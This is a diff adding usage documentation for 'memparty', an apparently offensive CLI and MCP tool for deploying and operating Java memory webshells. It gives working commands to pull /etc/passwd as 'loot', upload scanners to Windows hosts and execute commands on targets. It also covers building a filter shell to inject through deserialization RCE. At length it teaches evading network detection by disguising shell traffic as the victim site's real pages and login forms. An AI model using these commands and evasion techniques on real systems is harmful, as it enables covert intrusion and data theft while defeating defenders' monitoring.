|
+
`headerName`/`headerValue`).
|
|
254
|
+
|
|
255
|
+
## Step 6 — Transfer files
|
|
256
|
+
|
|
257
|
+
`memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
|
|
258
|
+
real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
|
|
259
|
+
Behinder). Same credentials and gate header as `exec`:
|
|
260
|
+
|
|
261
|
+
```bash
|
|
262
|
+
memparty download -u <shell-url> -t godzilla --pass pass --key key \
|
|
263
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
264
|
+
/etc/passwd -o loot/passwd
|
|
265
|
+
memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
- Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
|
|
269
|
+
directory keeps the remote basename; no `-o` means `./<basename>`.
|
|
270
|
+
- Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
|
|
271
|
+
upload warns that the remote file may be partial.
|
|
272
|
+
- Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
|
|
273
|
+
- Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
|
|
274
|
+
server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
|
|
275
|
+
Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
|
|
276
|
+
- `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
|
|
277
|
+
file bytes never travel over MCP/stdout.
|
|
278
|
+
|
|
279
|
+
Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
|
|
280
|
+
`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
|
|
281
|
+
paths are on the machine running the MCP server.
|
|
282
|
+
|
|
283
|
+
## Site-mimicking traffic (mimic protocol)
|
|
284
|
+
|
|
285
|
+
`mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
|
|
286
|
+
requests are browser-style form POSTs; responses are real site pages with the ciphertext
|
|
287
|
+
hidden in a per-shell-unique marker (a JS variable or an HTML comment). The wire codec is
|
|
288
|
+
selectable per profile (`cipher` section: AES/ECB, AES/CBC with random IV, or XOR; base64 /
|
|
289
|
+
base64url / hex; optional key-derived junk tail). **You write the site profile — the CLI
|
|
290
|
+
does not crawl.** That is the point: you can judge which page makes believable cover; a
|
|
291
|
+
regex crawler cannot.
|
|
292
|
+
|
|
293
|
+
### Workflow
|
|
294
|
+
|
|
295
|
+
1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
|
|
296
|
+
page). Note the page structure, `<title>` style, link paths, Content-Type — and judge what
|
|
297
|
+
the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
|
|
298
|
+
an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
|
|
299
|
+
2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
|
|
300
|
+
should be the same *shape* as what the site already serves all day. A content site
|
|
301
|
+
serves HTML documents; an SPA serves JSON XHR; an AI product streams SSE — mimic
|
|
302
|
+
covers all of them: HTML pages (marker injected) or **any text response with a
|
|
303
|
+
`{{payload}}` placeholder** (JSON envelope, XML, JS, SSE chunks…) served with its
|
|
304
|
+
own contentType (a `text/event-stream` skin is flushed chunk by chunk, not as a
|
|
305
|
+
one-shot body), and form, JSON, or **fully templated request bodies**.
|
|
306
|
+
3. **Scaffold + hand-write the profile:**
|
|
307
|
+
|
|
308
|
+
```bash
|
|
309
|
+
memparty profile init acme --site http://target:8080
|
|
310
|
+
```
|
|
311
|
+
|
|
312
|
+
This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
|
|
313
|
+
own file tools** — the CLI has no "fill" command; the content is your judgment, not a
|
|
314
|
+
command's output. Fill in:
|
|
315
|
+
- `templates`: **one or more** cover pages — the server rotates among them per response,
|
|
316
|
+
so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
|
|
317
|
+
**high-traffic, self-contained** ones (the pages real users fetch all the time), and
|
|
318
|
+
paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
|
|
319
|
+
Each entry keeps its own `title` and `contentType`.
|
|
320
|
+
- With `--dynamic-path`, also probe what the site returns for a **random** path
|
|
321
|
+
(`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every*
|
|
322
|
+
unknown path instead of a 404. Your templates should match that default response —
|
|
323
|
+
a 200 answer from the shell then mirrors the site's own behavior exactly.
|
|
324
|
+
- `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
|
|
325
|
+
hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
|
|
326
|
+
first-level dirs, same origin only. Used for `--dynamic-path`.
|
|
327
|
+
- `request` (optional but recommended): the request's form shape — **one object or an
|
|
328
|
+
array the client rotates among** (with optional `weight`). `secretField` is the field
|
|
329
|
+
that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
|
|
330
|
+
field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
|
|
331
|
+
a real form the site already receives** — e.g. a console login POST. Value placeholders:
|
|
332
|
+
`{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
|
|
333
|
+
`{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone
|
|
334
|
+
`pass=` parameter is a textbook webshell signature.
|
|
335
|
+
- `request.bodyTemplate` (optional, secretIn=body only): a **full request body** with
|
|
336
|
+
`{{payload}}` where the ciphertext goes — for traffic a flat form/JSON body can't
|
|
337
|
+
imitate: an OpenAI-style chat completion (`{"model":…,"messages":[{"role":"user",
|
|
338
|
+
"content":"{{payload}}"}]}`, pair with an SSE skin), a GraphQL envelope, an XML/SOAP
|
|
339
|
+
message, or a multipart/form-data upload (write the boundary literally in the
|
|
340
|
+
template — the Content-Type boundary is inferred from its first delimiter line, or
|
|
341
|
+
set it explicitly in `headers`). Decoy macros render per request. The filter
|
|
342
|
+
extracts the field from any raw body (JSON / multipart / XML anchors), so no
|
|
343
|
+
server-side change is needed per format.
|
|
344
|
+
- `cipher` (optional): the wire codec. Fields (all optional, defaults = the legacy
|
|
345
|
+
format `aes-ecb` + `base64` + `js-var` + no tail):
|
|
346
|
+
- `algorithm`: `"aes-ecb"` (fixed blocks — same plaintext ⇒ same ciphertext),
|
|
347
|
+
`"aes-cbc"` (random IV per message — same command encrypts differently every
|
|
348
|
+
time, the strongest default), `"xor"` (no JCE needed).
|
|
349
|
+
- `encoding`: `"base64"` | `"base64url"` | `"hex"`.
|
|
350
|
+
- `padTail`: `true` appends key-derived-length (0-15) random alnum garbage after
|
|
351
|
+
the encoded ciphertext — Behinder's `aes_with_magic` trick against length
|
|
352
|
+
signatures. Costs nothing, turn it on.
|
|
353
|
+
- `marker`: `"js-var"` (`var Re<md5(pass+key)[0:5]>_config="..."`) or
|
|
354
|
+
`"html-comment"` (`<!--Re..._config:...-->`) — pick whichever looks more at
|
|
355
|
+
home in the cover page.
|
|
356
|
+
⚠️ The cipher is **baked into the filter at build time**. Editing `cipher` in the
|
|
357
|
+
profile afterwards desynchronizes client and server — rebuild + re-inject.
|
|
358
|
+
4. **Use it:**
|
|
359
|
+
|
|
360
|
+
```bash
|
|
361
|
+
memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \
|
|
362
|
+
--profile acme --dynamic-path
|
|
363
|
+
memparty exec acme/mimic --cmd "whoami" # profile rides along in the saved target
|
|
364
|
+
```
|
|
365
|
+
|
|
366
|
+
### Worked example
|
|
367
|
+
|
|
368
|
+
Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
|
|
369
|
+
documents dominate; no SPA).
|
|
370
|
+
|
|
371
|
+
1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
|
|
372
|
+
`/news/` is linked from the nav and returns a short self-contained list page; the nav
|
|
373
|
+
links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
|
|
374
|
+
2. `memparty profile init acme --site http://192.0.2.1:8080`.
|
|
375
|
+
3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
|
|
376
|
+
the real file must contain the page's FULL verbatim HTML):
|
|
377
|
+
|
|
378
|
+
```json
|
|
379
|
+
{
|
|
380
|
+
"name": "acme",
|
|
381
|
+
"site": "http://192.0.2.1:8080",
|
|
382
|
+
"createdAt": "2026-07-19T08:00:00.000Z",
|
|
383
|
+
"templates": [
|
|
384
|
+
{
|
|
385
|
+
"title": "新闻动态 - ACME 科技",
|
|
386
|
+
"template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>",
|
|
387
|
+
"contentType": "text/html; charset=utf-8"
|
|
388
|
+
},
|
|
389
|
+
{
|
|
390
|
+
"title": "产品中心 - ACME 科技",
|
|
391
|
+
"template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>",
|
|
392
|
+
"contentType": "text/html; charset=utf-8"
|
|
393
|
+
}
|
|
394
|
+
],
|
|
395
|
+
"paths": ["/products/", "/news/", "/about/"],
|
|
396
|
+
"request": {
|
|
397
|
+
"secretField": "verCode",
|
|
398
|
+
"fields": [
|
|
399
|
+
{"name": "csrftoken", "value": "{{hex:32}}"},
|
|
400
|
+
{"name": "j_username", "value": "admin"},
|
|
401
|
+
{"name": "j_password", "value": "{{hex:24}}"},
|
|
402
|
+
{"name": "agreement", "value": "on"}
|
|
403
|
+
]
|
|
404
|
+
}
|
|
405
|
+
}
|
|
406
|
+
```
|
|
407
|
+
|
|
408
|
+
Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
|
|
409
|
+
JS/images, so no missing sub-request waterfall; two templates so consecutive responses
|
|
410
|
+
differ in length and bytes; `paths` are exactly the nav links real users click, not
|
|
411
|
+
guessed words; the `request` block mirrors the site's own login form, so the shell POST
|
|
412
|
+
is indistinguishable from someone signing in. (Templates shortened here for display —
|
|
413
|
+
the real file must contain each page's FULL verbatim HTML. A legacy single
|
|
414
|
+
`template`/`title`/`contentType` triple still loads, it just can't rotate.)
|
|
415
|
+
4. Verify it parses, then connect:
|
|
416
|
+
|
|
417
|
+
```bash
|
|
418
|
+
memparty profile show acme # schema check happens here too
|
|
419
|
+
memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
|
|
420
|
+
--profile acme --dynamic-path
|
|
421
|
+
# OK mimic http://192.0.2.1:8080/
|
|
422
|
+
# round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
|
|
423
|
+
```
|
|
424
|
+
|
|
425
|
+
### What mimic handles vs. what you decide
|
|
426
|
+
|
|
427
|
+
- Automatic: the selected codec (key = md5(key)[0:16] for every algorithm), per-shell
|
|
428
|
+
derived response delimiters, form-body encoding, browser-consistent request headers,
|
|
429
|
+
credential round-trip on `connect`.
|
|
430
|
+
- Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
|
|
431
|
+
memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
|
|
432
|
+
fixed-URL shell just omit the flag.
|
|
433
|
+
- Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
|
|
434
|
+
commands like a patient human.
|
|
435
|
+
|
|
436
|
+
### Server side — `memparty custom build`
|
|
437
|
+
|
|
438
|
+
The server half is a plain `javax.servlet.Filter` generated FROM the profile and compiled
|
|
439
|
+
locally — one command does the whole chain:
|
|
440
|
+
|
|
441
|
+
```bash
|
|
442
|
+
memparty custom build --profile acme --server Tomcat
|
|
443
|
+
```
|
|
444
|
+
|
|
445
|
+
What happens inside:
|
|
446
|
+
|
|
447
|
+
1. renders `MimicFilter<rand>.java` from the profile (templates, carrier fields, **the
|
|
448
|
+
`cipher` section is baked in here**) + random `pass`/`key` (or `--pass/--key`);
|
|
449
|
+
2. compiles it with the local JDK (`javac` on PATH, servlet API jar bundled — no other
|
|
450
|
+
dependency);
|
|
451
|
+
3. submits the class to the MemShellParty backend as `shellTool=Custom`, which wraps it
|
|
452
|
+
with the injector for `--server` (any server from `memparty config tools` — the filter
|
|
453
|
+
itself has zero middleware specifics) and packs it with `--packer`
|
|
454
|
+
(default `DefaultBase64`);
|
|
455
|
+
4. writes an output dir (default `<profile>-build/`): the `.java`/`.class`, one
|
|
456
|
+
`payload-*.txt` per pack variant, and **`manifest.json`** — the single source of truth
|
|
457
|
+
for the follow-up (credentials, cipher, class names, ready-made connect command).
|
|
458
|
+
|
|
459
|
+
Then: inject the payload through your foothold (deserialization RCE `defineClass`, an
|
|
460
|
+
existing shell that evaluates scripts, an agent loader…), and connect with the printed
|
|
461
|
+
command — a successful `connect` auto-saves the target, afterwards
|
|
462
|
+
`memparty exec <host>/mimic --cmd "id"` needs no flags.
|
|
463
|
+
|
|
464
|
+
Notes that matter:
|
|
465
|
+
|
|
466
|
+
- **Random class name every build** (`--out` keeps builds apart): a running JVM can't
|
|
467
|
+
re-define a class, so re-injection NEEDS the fresh name — never reuse one.
|
|
468
|
+
- The printed `--pass/--key` are random per build unless you pin them; they're in
|
|
469
|
+
`manifest.json`, not in your shell history if you use `--json`.
|
|
470
|
+
- The filter probes carriers with `getParameter()`/`getHeader()` only (never reads the
|
|
471
|
+
body stream), passes undecryptable values through `chain.doFilter`, and answers errors
|
|
472
|
+
with the plain cover page — it coexists with the site's real forms and other shells.
|
|
473
|
+
- Filter-type deployment truth learned on a real console: **dynamic path is conditional
|
|
474
|
+
on the target app's own filters** — probe a random path first, fall back to the fixed
|
|
475
|
+
working path when the app answers everything itself.
|
|
476
|
+
|
|
477
|
+
### Reality check before relying on it
|
|
478
|
+
|
|
479
|
+
Run `memparty demo` once and read the printed request URL and response: the traffic should
|
|
480
|
+
be indistinguishable from a normal page view at a glance. Two ways it still stands out:
|
|
481
|
+
|
|
482
|
+
- **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
|
|
483
|
+
would fetch, a NDR notices their absence — prefer self-contained pages.
|
|
484
|
+
- **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
|
|
485
|
+
baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
|
|
486
|
+
That is why the dominant-traffic rule above outranks everything else.
|
|
487
|
+
|
|
488
|
+
## Step 7 — Save targets, switch by name
|
|
489
|
+
|
|
490
|
+
Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
|
|
491
|
+
with an optional remark and category), then reference it as `<project>/<shell>`:
|
|
492
|
+
|
|
493
|
+
```bash
|
|
494
|
+
memparty save web1/bh9060 -u <shell-url> -t behinder --pass rebeyond \
|
|
495
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
496
|
+
--remark "内网测试环境" --category test --shell-remark "root 权限"
|
|
497
|
+
memparty list # everything, or --category test
|
|
498
|
+
memparty exec web1/bh9060 --cmd "whoami" # no other flags needed
|
|
499
|
+
memparty exec web1 --cmd "id" # bare project works when it holds one shell
|
|
500
|
+
```
|
|
501
|
+
|
|
502
|
+
MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
|
|
503
|
+
`projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
|
|
504
|
+
(project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
|
|
505
|
+
`name: "<project>/<shell>"` to `connect_test` / `exec_command`.
|
|
506
|
+
The store lives at `~/.memparty/targets.json`.
|
|
507
|
+
|
|
508
|
+
## Step 8 — Audit with the operation log
|
|
509
|
+
|
|
510
|
+
Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
|
|
511
|
+
`~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
|
|
512
|
+
is truncated.
|
|
513
|
+
Query it to recall what was done against a target:
|
|
514
|
+
|
|
515
|
+
```bash
|
|
516
|
+
memparty log --category exec --target web1
|
|
517
|
+
```
|
|
518
|
+
|
|
519
|
+
Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
|
|
520
|
+
actions before repeating them, or to answer "what did we run on this host?".
|
|
521
|
+
|
|
522
|
+
## Gotchas
|
|
523
|
+
|
|
524
|
+
- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
|
|
525
|
+
→ non-prefixed. Picking the wrong family = the shell won't load.
|
|
526
|
+
- **JDK target.** `--jdk java6/8/9/11/17/21/25` (or bare `8`, or raw major `52`). Match (or stay ≤) the
|
|
527
|
+
target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
|
|
528
|
+
- **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
|
|
529
|
+
special injector class name — the CLI generates one automatically; don't override
|
|
530
|
+
`--injector-class-name` for these.
|
|
531
|
+
- **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
|
|
532
|
+
- **v3 packer parents are categories** — pick a concrete variant (legacy v2 aggregates return multiple variants).
|
|
533
|
+
`-o`/`outputFile` refuses them outright (error tells you to pick a leaf packer).
|
|
534
|
+
- **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
|
|
535
|
+
aren't class-byte payloads.
|
|
536
|
+
- **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
|
|
537
|
+
don't trust payloads from public services in real engagements — self-host with Docker and use
|
|
538
|
+
`MEMPARTY_API_URL` or `--api`).
|
|
539
|
+
|
|
540
|
+
## Reverse: parse a class name
|
|
541
|
+
|
|
542
|
+
Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
|
|
543
|
+
|
|
544
|
+
```bash
|
|
545
|
+
memparty parse-classname --file shell.class
|
|
546
|
+
memparty parse-classname <base64-of-class-bytes>
|
|
547
|
+
```
|